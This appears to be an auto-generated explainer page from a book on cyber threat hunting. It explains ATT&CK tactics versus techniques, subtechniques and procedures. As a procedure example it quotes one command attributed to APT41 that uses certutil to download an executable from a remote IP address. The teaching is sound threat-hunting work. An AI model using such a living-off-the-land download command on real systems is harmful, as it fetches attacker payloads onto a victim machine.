How deeply does Cyber Threat Hunting cover threat actor tactic?

Defines the why-versus-how hierarchy and relates tactics to techniques, subtechniques, and procedures without detailing tactic internals.

Threat actor tactic

As explained in Cyber Threat Hunting

A tactic in the ATT&CK framework is an adversary's tactical goal or reason for performing an action.

A threat actor tactic is the adversary’s tactical goal—the reason for performing an action. In ATT&CK, tactics answer “why,” while techniques describe “how.” section 2.6

Use the ATT&CK hierarchy to connect goals with observable behavior:

Tactics express goals such as execution, credential access, exfiltration, or impact. section 2.6
Techniques describe actions used to achieve those goals, such as dumping credentials for credential access. section 2.6
Subtechniques refine behavior, while procedures record specific implementations used by adversaries. section 2.6

From action to tactic

A threat-hunting play can map Command and Scripting Interpreter (T1059) to the Execution tactic, then refine it to PowerShell (T1059.001) or Windows Command Shell (T1059.003). section 2.6

Listing 2.1 APT41 using `certutil` to download `2.exe`

certutil -urlcache -split -f http://91.208.184[.]78/2.exe

Use the certutil command as a concrete procedure example and ask which adversary goal the download supports. section 2.6

How Cyber Threat Hunting covers it

liveBook manning.com

Read Cyber Threat Hunting on liveBook Get the book at manning.com

Also explained in

liveBook manning.com

Azure SecurityA high-level behavior or approach a bad actor uses to achieve a goal.

Compare how 2 books explain threat actor tactic →

Related concepts

MITRE ATT&CKpart of · MITRE ATT&CK is a publicly maintained knowledge base and framework cataloging adversary tactics, techniques, and procedures based on observed cyberattacks.
techniquecontrasts with · A technique is a deliberate, systematic, and repeatable method for performing a task, solving a problem, or achieving a desired result.
threat actorused by · A threat actor is a person, group, process, or other entity that intentionally attempts to compromise, misuse, disrupt, or defeat the security of a system or information.

This explainer was generated by Manning's knowledge graph from the text of Cyber Threat Hunting. The section links point to the parts of the book it draws on.